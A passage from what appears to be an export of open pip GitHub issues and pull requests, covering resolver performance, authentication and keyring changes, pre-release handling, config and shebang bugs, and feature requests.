### Alternative Solutions

Let users continue attempting to resolve these issues themselves by sufficiently restricting requirements. However, this approach provides very little context or help on how to do so effectively.

### Additional context

Depends on https://github.com/pypa/pip/issues/12497 to be performant for simple backtracking cases

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12497: state: open
title: Introduce new API in resolvelib to Optimize Pip's Dependency Resolution
body: ### What's the problem this feature will solve?

Pip's dependency resolution process, particularly in complex backtracking scenarios, currently faces performance issues due to repetitive calculations, leading to O(n^2) complexity. This issue arises when checking if a "name" is part of a cause but also hinders the implementation of more complex checks, as they would slow down simple backtracking scenarios.

### Describe the solution you'd like

The solution proposes adding a new abstract method, `filter_unsatisfied_names`, in resolvelib, to be implemented by Pip. This method is designed to work alongside the existing `get_preference` method, refining the backtracking process during dependency resolution.

 * `filter_unsatisfied_names` pre-filters unsatisfied names before they are processed by `get_preference`.
 * Unlike `get_preference`, which is called once for each name, `filter_unsatisfied_names` is called only once per backtracking round.
 * All unsatisfied names are provided to `filter_unsatisfied_names`, in contrast to `get_preference`, which receives one name at a time.
 * Hence `filter_unsatisfied_names`  is able to short-circuiting checks.
 * And `filter_unsatisfied_names` can determine if multiple names are important to backtrack on simultaneously.


### Alternative Solutions

* Enhancing `get_preference`: Improvements to this method could offer some benefits, but it would struggle to enable complex backtracks without imposing performance penalties on simple backtracks.
* Implementing Caching: While caching can reduce redundant work, it might lead to increased memory usage and added complexity.

### Additional context

I am not tied to the name `filter_unsatisfied_names` or even to this specific approach, as long as it's possible to filter unsatisfied names more than one at a time.

A PR is open on the resolvelib side, but it is unlikely to ever be merged without buy-in from Pip maintainers: https://github.com/sarugaku/resolvelib/pull/145

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12496: state: open
title: Do not pre authenticate requests
body: This PR addresses the issue raised in #11721 and specifically the problems with Artifactory temporarily suspending users due to an initial request with an `Autentication` header being constructed with only the username provided in the (index-)url and without attempting to find a password in keyring. It supersedes #12473.

The problem stem from #6818 that solve #6796 requesting support for token in URL. The semantic of the [userinfo](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.1) part of the URL is not well specified. We cannot distinguish the case of a token and a username without password only from the URL. A token can be identified as such only after searching for a password corresponding to what could be a username has failed. To avoid the potentially costly / blocking request to keyring, pip considered the userinfo without password to be a token and sends an authenticated requests to the server. If the server accepts this as a token, all is fine. Otherwise, as is the case with Artifactory, this is seen as a failed authentication attempt and subjected to throttling. That's what happens with Artifactory (which can be seen as being overly protective) that temporarily suspend the user named in the `Authentication` header for 1s (initially). While short, this is still enough to block the second attempt made while handling the 401 during which pip would have found a complete set of credentials.

This PR is based on the reasoning that only the server actually knows whether authentication is required or not and as such pip should first attempt to access the resource without any `Authentication` header. This obviously prevent the server from temporarily suspending the user because it no longer have enough information to identify the relevant user.

If the server requires authentication, it will let us know by returning a 401 Unauthorized response with a `WWW-Authenticate` header which is meant to tell us what kind of [challenge](https://datatracker.ietf.org/doc/html/rfc9110#name-challenge-and-response) to use. The code is not changed with respect to the challenge supported and still assumes blindly that the server want us to use [Basic](https://datatracker.ietf.org/doc/html/rfc7617#section-2) authentication. (The proposed code could be extended to store the kind of authentication challenge to use alongside the credentials. As I've still to see a server advertising something other than Basic, I've considered this out of scope.)

Once we know that credentials are actually required, attempts are made to obtain them from (in order):
- the resource URL
- the closest index-url
- the `keyring` if available (depends on `--keyring-provider` and `--no-input`)
- `netrc`

The credentials are then cached in order to be reused for subsequent requests to the server.

Things to note compared to the current implementation:
- `netrc` is now the last resort because it is the least specific. Keyring allows to store credentials per service, which can be an URL but `netrc` only support `netloc`. Of course, the difference only matters when configuring credentials in both `keyring` and `netrc`.
- Credentials are no longer cached per `netloc` with some logic to check the usernames are the same. Instead the caching is per url-prefix which allows for multiple entries for the same `netloc` but with different common path. As such, caching will work for server hosting multiple indexes with different user per path unlike the current implementation.
- Unlike the current implementation where having both username and password set in the (index-)url leads to a first request being successfully authenticated, we will now get a 401 and then cache the credentials and retry. Subsequent requests will hit the cache as before.

The PR consist of:
- 3 boyscout commits addressing minor unrelated issues encountered along the way.
- the credentials lookup logic is updated as described above.
- the existing tests are first adapted to the changed signature of `_get_new_credentials` and `_get_index_url` which now return the url_prefix to use for caching the credentials too
- the tests for the now removed `_get_url_and_credentials` are removed too
- new tests are added for the new `_cache_required_credentials` and `_get_required_credentials`
- finally the authentication topic of the documentation is updated to give more details about how pip and keyring work together
user: odormond
issue_12485: state: open
title: Add new --with-blanklines option to pip freeze command
body: This pull request (PR) introduces a new option to the pip freeze command.  New `--with-blanklines` option allows you to preserve blank lines in final output when using the `--requirement` option, which can be convenient and useful in certain scenarios.

For example, when updating dependencies, it will be based on `requirements.txt`:
```txt
# databases
alembic==1.13.1
asyncpg==0.29.0
SQLAlchemy==2.0.25
psycopg2==2.9.9

# network
aiohttp==3.9.1
requests==2.31.0

# parsing
bs4==0.0.1
Scrapy==2.11.0

# math
numpy==1.26.3
```

The `requirements.txt` format will be preserved without violations, including the retention of empty lines in output.
```txt
# databases
alembic==1.13.1
asyncpg==0.29.0
SQLAlchemy==2.0.25
psycopg2==2.9.9

# network
aiohttp==3.9.1
requests==2.31.0

# parsing
bs4==0.0.1
Scrapy==2.11.0

# math
numpy==1.26.3
## The following requirements were added by pip freeze:
...other packages...
```

Instead of default behavior:
```txt
# databases
alembic==1.13.1
asyncpg==0.29.0
SQLAlchemy==2.0.25
psycopg2==2.9.9

# network
aiohttp==3.9.1
requests==2.31.0
# parsing
bs4==0.0.1
Scrapy==2.11.0
# math
numpy==1.26.3
## The following requirements were added by pip freeze:
...other packages...
```

user: G000D1ESS
labels: C: freeze: 'pip freeze' related
issue_12484: state: open
title: Pip reports version conflict in wrong dependencies
body: ### Description

I have a locally-developed package named `dandisets-healthstatus`.  Its dependencies include `pydantic ~= 2.0` and (in an `all` extra) `dandidav @ git+https://github.com/...` & `dandi` (a PyPI package, without any version constraints).  `dandidav` depends on `dandi >= 0.58.2`.  The latest version of `dandi` on PyPI is 0.59.0.

Unfortunately, what I failed to initially realize was that `dandi` currently requires Pydantic 1.x (with the upper-version bound enforced by a dependency of `dandi`).  Thus, when I tried to install `dandisets-healthstatus` with `pip install .[all]`, pip correctly failed due to a version conflict, but the packages that it reported as conflicting actually weren't:

```text
ERROR: Cannot install dandisets-healthstatus and dandisets-healthstatus[all]==0.0.0 because these package versions have conflicting dependencies.

The conflict is caused by:
    dandisets-healthstatus[all] 0.0.0 depends on dandi; extra == "all"
    dandidav 0.0.0 depends on dandi>=0.58.2
```

If `dandiset-healthstatus`'s `dandi` dependency is omitted from the list of requirements, then installation fails with a more accurate error message:

```text
ERROR: Cannot install dandi, dandidav and dandisets-healthstatus==0.0.0 because these package versions have conflicting dependencies.

The conflict is caused by:
    dandisets-healthstatus 0.0.0 depends on pydantic~=2.0
    dandi 0.58.2 depends on pydantic>=1.9.0
    dandischema 0.8.4 depends on pydantic<2.0 and >=1.8.1
    dandisets-healthstatus 0.0.0 depends on pydantic~=2.0
    dandi 0.58.2 depends on pydantic>=1.9.0
    dandischema 0.8.3 depends on pydantic<2.0 and >=1.8.1
```

### Expected behavior

Pip should have reported that the Pydantic version requirements conflicted rather than the `dandi` version requirements.

### pip version

23.3.2

### Python version

3.11.7

### OS

macOS Sonoma 14.2.1

### How to Reproduce

1. `git clone https://github.com/dandi/dandisets-healthstatus.git` (I promise it won't bite)
2. `cd dandisets-healthstatus`
3. `git checkout ea4ebaa6`
4. `cd code`
5. If you are testing this in the future, you may need to restrict the `dandi` requirement in `setup.cfg` to `<= 0.60.0`.
6. `python3 -m venv venv`
7. `venv/bin/pip install .[all]`

### Output

A log of all output from `pip install -vvv` can be found at <https://gist.github.com/jwodder/cd49394c1dfb2bb1e17a5aa32f5c4a49>.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jwodder
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12481: state: open
title: `git config --user unset` errors b/c of ambiguous reference to/inconsistent precedence of user configs (`~/.pip/pip.conf` & `~/.config/pip/pip.conf`)
body: ### Description

Pip is supposed to work with multiple "uesr configs", notably `~/.pip/pip.conf` & `~/.config/pip/pip.conf`. However, pip is inconsistent when determining which one to use when running `pip config --user unset`.

See "How to Reproduce" for setup details.

Reference snippet:
https://github.com/pypa/pip/blob/5efa3e83d90b1d64fbf0104d2ba84bef8d7e9648/src/pip/_internal/configuration.py#L181-L194

 1. The config key check at `L181` will pass b/c the key exists in `~/.pip/pip.conf`
 2. But parser [retrieved](https://github.com/pypa/pip/blob/5efa3e83d90b1d64fbf0104d2ba84bef8d7e9648/src/pip/_internal/configuration.py#L363-L374) on `L184` is the one for `~/.config/pip/pip.conf`, which doesn't exist
 3. So `parser.remove_option()` will [fail](https://github.com/python/cpython/blob/v3.11.7/Lib/configparser.py#L954-L967) with `KeyError`/`NoSectionError`

I'm not familiar with pip internals, but this issue suggests other similar precedence issues may exist elsewhere.

### Expected behavior

Pip should have found the setting in `~/.pip/pip.conf` and removed it, especially since it's the value `pip config get global.index-url` reads.

Perhaps there should be a way to specify either/all/any of the user configs, but I imagine this could get messy and would probably take some design considerations.

### pip version

pip 23.3.1

### Python version

Python 3.11.4

### OS

Darwin Kernel Version 22.6.0: Wed Jul  5 22:22:05 PDT 2023; root:xnu-8796.141.3~6/RELEASE_ARM64_T6000

### How to Reproduce

`~/.pip/pip.conf`

```
[global]
index-url = https://foo.com/bar
```

`~/.config` exists, but not `~/.config/pip/`

### Output

```
$ pip config --user unset global.index-url
ERROR: Fatal Internal error [id=1]. Please report as a bug.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Kache
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12479: state: open
title: How to configure pip3 to ignore proxy settings or do not use proxy settings?
body: ### Description

Here is my query. I am using Python 3.8.10. During my laptop setup long time back, I was using proxy settings to work with pip3. I forgot where I have set this. Recently we moved to no proxy. However I am yet to figure where pip3 is taking proxy details from. Bash environment variables for proxy are unset. When I `sudo pip3 --proxy "" install conan==1.60.0`, I got `Connection timeout error`. Error excerpt is pasted under output section. I also tried an option "--no-proxy". But it doesn't work as well. Could someone please help me? 



### Expected behavior

Pip3 shouldn't work behind proxy.

### pip version

pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8)

### Python version

python 3.8.10

### OS

Ubuntu 20.04 behind WSL (WSL version: 1.2.5.0)

### How to Reproduce

1. Set proxy settings.
2. Unset proxy settings from bash environment variable.
3. Verify no pip.ini or pip.conf files exist.
4. Try `sudo pip3 --proxy "" install <any package>` from Bash terminal
5. Error occurs which prevents package installation.

### Output

`WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ConnectTimeoutError(<urllib3.connection.VerifiedHTTPSConnection object at 0x7f8e3bf4ec40>, 'Connection to xx.xx.xx.xx timed out. (connect timeout=15)')': /simple/conan/`

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: honey-speaks-tech
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12478: state: open
title: Use ruff format
body: Coming from https://github.com/pypa/pip/pull/12454#discussion_r1452275397 I made a quick try to use ruff-format instead of black.
user: sbidoul
issue_12473: state: open
title: Implement documented --force-keyring
body: This PR provide an implementation of `--force-keyring` that is documented in [authentication](docs/html/topics/authentication.md).

It was initially introduced in https://github.com/pypa/pip/pull/11698 and accidentally left behind in the documentation when addressing comments and merging the functionality into specifying an explicit keyring provider.

I'm reviving it in order to address #11721.

My implementation simply allows usage of keyring to retrieve the credentials on the initial request. This let us skip the initial request that fails with 401 Unauthorized and which also temporarily suspend the user on Artifactory. Keyring is actually only queried if a username is found in the configured (extra-)index-url and does not result in an attempt to unlock the keyring when simply talking to pypi thanks to the logic already in place.

The last three commits are not related to `--force-keyring` but just boyscout work:
- Add test for the `--keyring-provider` option
- Fix the help string of `--keyring-provider`
- Fix meaningless typo `dowbload` -> `download`

I've not included any news fragment for these three commits. I'll happily do so if this is considered the right thing do or split them into separate PRs if needed.
user: odormond
issue_12471: state: open
title: Pip inconsistent on whether it looks up a pre-release based on the order of specifiers
body: ### Description

Pip will choose a pre-release for a package if the specifier of the package includes a pre-release version.

For example `pandas>=2.1.5rc01` will currently install `pandas-2.2.0rc0`. But if there are two specifiers and one of them includes a pre-release and the other doesn't then the behavior is order dependent.

### Expected behavior

If either version of the specifier involves a pre-release version the pre-release version should be installed

### pip version

23.3.2

### Python version

3.11

### OS

Linux

### How to Reproduce

1. Be on a date before Pandas 2.2.0 is installed or use pypi-timemachine to set the date to 2024-01-09
2. pip install --dry-run --no-deps --ignore-install "pandas>2.1.4" "pandas>=2.1.5rc0"
3. pip install --dry-run --no-deps --ignore-install "pandas>=2.1.5rc01" "pandas>2.1.4" 

### Output

`pandas>2.1.4 pandas>=2.1.5rc0`
```
pip install --dry-run --no-deps --ignore-install "pandas>2.1.4" "pandas>=2.1.5rc0"
ERROR: Could not find a version that satisfies the requirement pandas>2.1.4 (from versions: 0.1, 0.2, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.6.0, 0.6.1, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.8.0, 0.8.1, 0.9.0, 0.9.1, 0.10.0, 0.10.1, 0.11.0, 0.12.0, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.15.0, 0.15.1, 0.15.2, 0.16.0, 0.16.1, 0.16.2, 0.17.0, 0.17.1, 0.18.0, 0.18.1, 0.19.0, 0.19.1, 0.19.2, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.21.0, 0.21.1, 0.22.0, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.23.4, 0.24.0, 0.24.1, 0.24.2, 0.25.0, 0.25.1, 0.25.2, 0.25.3, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.4.0rc0, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0rc0, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0rc0, 2.0.0rc1, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.1.0rc0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0rc0)
ERROR: No matching distribution found for pandas>2.1.4
```

`pandas>=2.1.5rc01 pandas>2.1.4`
```
pip install --dry-run --no-deps --ignore-install "pandas>=2.1.5rc01" "pandas>2.1.4" 
Collecting pandas>=2.1.5rc01
  Using cached pandas-2.2.0rc0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (19 kB)
Using cached pandas-2.2.0rc0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (13.0 MB)
Would install pandas-2.2.0rc0
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12470: state: open
title: How do I exclude Pip selecting any pre-release?
body: ### Description

According to the [documentation](https://packaging.python.org/en/latest/specifications/version-specifiers/#handling-of-pre-releases):

> Dependency resolution tools SHOULD also allow users to request the following alternative behaviours:
>    * accepting pre-releases for all version specifiers
>    * excluding pre-releases for all version specifiers (reporting an error or warning if a pre-release is already installed locally, or if a pre-release is the only way to satisfy a particular specifier)

Pip implements the first bullet point with the `--pre` flag. But I am unsure how to get Pip to follow the second flag, for example if installed "opentelemetry-exporter-prometheus" I will get a pre-release, but I would like it to give an error with some option.

### Expected behavior

ERROR: Could not find a version that satisfies the requirement opentelemetry-exporter-prometheus

### pip version

23.3.2

### Python version

3.11

### OS

Linux

### How to Reproduce

```
python -m pip install --dry-run --no-deps --ignore-install "opentelemetry-exporter-prometheus"
```

### Output

>Collecting opentelemetry-exporter-prometheus
> Using cached opentelemetry_exporter_prometheus-0.43b0-py3-none-any.whl.metadata (1.8 kB)
>Using cached opentelemetry_exporter_prometheus-0.43b0-py3-none-any.whl (10 kB)
>Would install opentelemetry-exporter-prometheus-0.43b0

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12469: state: open
title: Pre-release not selected when remotely available pre-releases for version specifiers is the only versions that satisfies the version specifier
body: ### Description

Currently if Pip selects something like "pandas>2.1.4" it gets the error `Could not find a version that satisfies the requirement pandas>2.1.4`, but there is a version that would match this `2.2.0rc0`, and as I read the [documentation](https://packaging.python.org/en/latest/specifications/version-specifiers/#handling-of-pre-releases):

> accept remotely available pre-releases for version specifiers where there is no final or post release that satisfies the version specifier

As it stands there are no final releases that match "2.1.4", but "2.2.0rc1" does match ">2.1.4".

### Expected behavior

"2.2.0rc1" is installed

### pip version

23.3.2

### Python version

3.11

### OS

Linux

### How to Reproduce

1. Be on a date before Pandas 2.2.0 is installed or use `pypi-timemachine` to set the date to 2024-01-09
2. Run `python -m pip install --dry-run --no-deps --ignore-install "pandas>2.1.4"`

### Output

> ERROR: Could not find a version that satisfies the requirement pandas>2.1.4 (from versions: 0.1, 0.2, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.6.0, 0.6.1, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.8.0, 0.8.1, 0.9.0, 0.9.1, 0.10.0, 0.10.1, 0.11.0, 0.12.0, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.15.0, 0.15.1, 0.15.2, 0.16.0, 0.16.1, 0.16.2, 0.17.0, 0.17.1, 0.18.0, 0.18.1, 0.19.0, 0.19.1, 0.19.2, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.21.0, 0.21.1, 0.22.0, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.23.4, 0.24.0, 0.24.1, 0.24.2, 0.25.0, 0.25.1, 0.25.2, 0.25.3, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.4.0rc0, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0rc0, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0rc0, 2.0.0rc1, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.1.0rc0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0rc0)
ERROR: No matching distribution found for pandas>2.1.4

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12468: state: open
title: After instally python as a user (no root access) get-pip.py installs pip and pip3 in ~/.local/bin but hardcodes the shebang to /usr/local/python
body: ### Description

As I am currently deploying some python stuff on a shared hosting service where I have no root access, and their installed python is quite old, I installed python from the tarball distribtion.  In my case I installed it in ~/dev/python/Python-3.9.2

After adding ~/dev/python/Python-3.9.2 to the front of my path it works fine.  running python --version shows:
Python 3.9.2

then:

Python 3.9.2 (default, Jan  9 2024, 15:29:43)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/local/lib/python39.zip', '/home/mjbhostc/dev/python/Python-3.9.2/Lib', '/home/mjbhostc/dev/python/Python-3.9.2/build/lib.linux-x86_64-3.9', '/home1/mjbhostc/.local/lib/python3.9/site-packages']
>>>

as you can see, python understands and recognizes automatically that its site packages are in /home1/mjbhostc/.local/lib/python3.9/site-packages without any environment variables set.

To get an updated version of pip, I downloaded get-pip.py from 
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

and executed as per instructions:
python get-pip.py (verified its running with python3.9.2) with these results:

Defaulting to user installation because normal site-packages is not writeable
Collecting pip
  Using cached pip-23.3.2-py3-none-any.whl.metadata (3.5 kB)
Using cached pip-23.3.2-py3-none-any.whl (2.1 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 23.3.2
    Uninstalling pip-23.3.2:
      Successfully uninstalled pip-23.3.2
Successfully installed pip-23.3.2

Looks good, and I look in ~/.local/bin and there they are:

cd ~/.local/bin
ls *pip
pip pip3 pip3.9

Yay.  Unfortunately, trying to run any of these generates an error.

for whatever reason this implementation of pip is writing the shebang on these as:
#!/usr/local/bin/python

which is NOT where this install of python is located.

Regardless, I would think that the shebang should be written as:

#!/usr/bin/env python

interestingly, it is written the same way regardless of which version of pip is installed;  I would think pip should be:
#!/usr/bin/env python

and pip3 and pip3.X should be:
#!/usr/bin/env python3

if not using /usr/bin/env for path determined routing, it should *at least* follow the install location from python if anything.

In my case I have no choice but to manually edit this as the system I'm on (and most distros I work with) don't put python in /usr/local/bin, so while I'm sure there can be dispute as to what it ultimately should resolve to...what it resolves to in this case is clearly wrong.





### Expected behavior

pip and pip3 to actually shebang reference an existing python location for the installed platform.

### pip version

23.3.2

### Python version

3.9.2

### OS

centos

### How to Reproduce

See description above

### Output

After installation of pip as described above via

python get-pip.py (as non root user):

> pip list
-jailshell: /home1/mjbhostc/.local/bin/pip: /usr/local/bin/python: bad interpreter: No such file or directory

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mjbrowns
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12467: state: open
title: RIGHT-TO-LEFT OVERRIDE in AUTHORS.txt
body: ### Description

Hello,

in https://github.com/pypa/pip/pull/12046 I have removed RIGHT-TO-LEFT OVERRIDE from AUTHORS.txt

It was added back in https://github.com/pypa/pip/commit/ae23f967efedf33e3da148612657064b3b5a0695

I suspect the file is updated by a script. I am opening this issue to track a modification of that script, so it is not added again.

### Expected behavior

_No response_

### pip version

23.2+

### Python version

any

### OS

any

### How to Reproduce

Examine the file on GitHub. It tells you:

> This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hroncok
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12466: state: open
title: pip download with `--platform` specified fails to resolve dependencies with `sys_platform==` conditional
body: ### Description

When calling `pip download --only-binary ":all:"` with a platform specifier (`--platform`), it does not properly follow `sys_platform` specifiers defined in the dependencies.
The example I am trying to download `jupyter_core` with dependencies specified in the `pyproject.toml` as follows:
```
dependencies = [
  "platformdirs>=2.5",
  "traitlets>=5.3",
  "pywin32>=300 ; sys_platform == 'win32' and platform_python_implementation != 'PyPy'"
]
```

In this situation pip uses my own platform instead of the one specified with the `--platform` specifier

### Expected behavior

Should download required whl files for `jupyter_core`

### pip version

23.3.2

### Python version

3.10

### OS

Windows 10

### How to Reproduce

```
pip download "jupyter-core==5.7.1" --only-binary ":all:" --python-version 310 --platform manylinux_2_17_x86_64 --platform manylinux_2_12_x86_64 --platform manylinux_2_5_x86_64
```

### Output

```
ERROR: Could not find a version that satisfies the requirement pywin32>=300; sys_platform == "win32" and platform_python_implementation != "PyPy" (from jupyter-core) (from versions: none)
ERROR: No matching distribution found for pywin32>=300; sys_platform == "win32" and platform_python_implementation != "PyPy"
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tim-stephenson
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12465: state: open
title: Warn users that `pip download` can run arbitrary code
body: ### What's the problem this feature will solve?

I've been using `pip` for many years now, but I didn't realize that `pip download` runs `setup.py` containing arbitrary code (until someone explicitly told me).

I think the name `download` implies that you're just moving bits from one computer to another (like downloading a file using the browser). If you know how Python packaging works in detail, it's clear that this has to run `setup.py`, but it's not obvious to everyone.

### Describe the solution you'd like

1. Add a note to `pip download --help`, https://pip.pypa.io/en/stable/cli/pip_download/ and other "official" documentation for `pip download`. This will raise awareness of this command being potentially dangerous.

2. On the online documentation page, provide a recipe for just downloading the source. I was only able to find an [old thread](https://discuss.python.org/t/pip-download-just-the-source-packages-no-building-no-metadata-etc/4651) that is now outdated and doesn't provide a solution. Maybe downloading the wheel from the PyPI website might be good direction?

### Additional context

Example on StackOverflow (2018): https://stackoverflow.com/questions/52486985/pip-download-without-executing-setup-py

https://discuss.python.org/t/pip-download-just-the-source-packages-no-building-no-metadata-etc/465

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: decorator-factory
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12464: state: open
title: Reword and migrate editable errors to rich format
body: **Before**:
![image](https://github.com/pypa/pip/assets/63936253/120a60bb-a2b4-4d90-9be3-1d432724df4a)

**After**:
![image](https://github.com/pypa/pip/assets/63936253/56b3a622-e8c7-45cb-b7df-f48f65c9973a)
Towards https://github.com/pypa/pip/issues/10421. :sparkles: 
user: ichard26
issue_12463: state: open
title: Migrate uninstallation errors to rich error format
body: Towards https://github.com/pypa/pip/issues/10421.

![image](https://github.com/pypa/pip/assets/63936253/e0ce1291-fbb6-43d9-b6ed-0986e19503ac)
user: ichard26
issue_12462: state: open
title: Prep removal of `importlib.resources.open_text`.
body: The `importlib.resources.open_text` was deprecated in Python 3.11 and is 
removed in 3.13.

user: jsirois
issue_12461: state: open
title: On install, add a pep517 backend agnostic and documented option to set a build directory
body: ### Description

In the past, there was an option to set the build directory to any directory. This option allowed us to avoid a "no space left on device" error when the /tmp directory was too small for large builds.

Now that this option has disappeared with the PEP517 build backends, there seems to be no consistent way to set this option. 

Since the goal of PEP517 was to abstract the build backend, when we install a new package, we don't know which build backend that package will use. So setting an equivalent option for every build backend we could find is not a scalable answer.

How can I set this option for each backend once and for all?

### Expected behavior

A documented option that tells pip where any build operation can take place, no matter what the build backend is. An implementation of this option where the provided place is used for builds operations.

### pip version

23.3.2

### Python version

3.8

### OS

Linux

### How to Reproduce

1. `pip install --build-directory /tmp requests`

### Output

```
$ pip install --build-directory /tmp requests

Usage:
  pip install [options] <requirement specifier> [package-index-options] ...
  pip install [options] -r <requirements file> [package-index-options] ...
  pip install [options] [-e] <vcs project url> ...
  pip install [options] [-e] <local project path> ...
  pip install [options] <archive url/path> ...

no such option: --build-directory
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: manuco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12460: state: open
title: advanced version control in requirements.txt
body: ### What's the problem this feature will solve?

e.g when I'm using pip upgrading my torch, without giving specific arguments, it will upgrade to cpu version from my cuda verion

### Describe the solution you'd like

torch==2.1.1+cu121
torch=*+cu*

### Alternative Solutions

adding arguments

### Additional context

try upgrading a torch with gpu version you will see.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: EaglePPP
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12455: state: open
title: Remove section about non-existing `--force-keyring` flag
body: I must have messed up while merging/rebasing at some point...
user: Darsstar
issue_12453: state: open
title: Cache is_satisfied_by
body: This is a performance improvement for a presumably common use case, namely the installation of a project with locked dependencies using `pip install -c requirements.txt -e .`, in an environment where most dependencies are already installed.

More precisely the case I'm testing is a ~500 lines `requirements.txt`, and running the above command in an environment where all dependencies are already installed. This is typically done by developers when pulling a new version of the project, to ensure their environment is up-to-date.

When running this under py-spy, it appears that `PipProvider.is_satisfied_by` largely dominates the 50 seconds running `resolve()` (out of a total 55 sec execution time).

![image](https://github.com/pypa/pip/assets/692075/534fcc51-3133-4213-9083-7c69a1fecec9)

Some tracing showed that `is_satisfied_by` is repeatedly called for the same requirement and candidate.

So I experimented with some caching. 

The result of this PR is a 40 seconds saving on the 50 sec `resolve()`. The total execution time went down to 15 sec from 55.

![image](https://github.com/pypa/pip/assets/692075/eb032eed-a604-4321-a05f-4fd5efe1c1b4)

I'm opening as draft as there are some possible improvements, but it's ready for comments on the general approach already.
user: sbidoul
issue_12447: state: open
title: Logging errors while installing dependencies automatically
body: ### What's the problem this feature will solve?

Currently when installing requirements using pip, the standard way is to use
`pip install -r requirements.txt`

However this goes through each requirement separately and stops when it encounters the first issue. This requires manual fixing of associated requirement and re running the command for all the requirements listed below the given requirement

On a bigger project with multiple broken requirements this usually gets tedious and problematic

### Describe the solution you'd like


As a fix, pip should have a script to automatically download dependencies and log the errors as they occur and continue to go through the rest of the requirements. The erroneous requirements can be displayed as a bunch in the end so that it is more convenient


### Alternative Solutions

``` bash
@echo off
for /F "delims=" %%i in (requirements.txt) do (
    pip install %%i || echo %%i>>error.txt
)

```

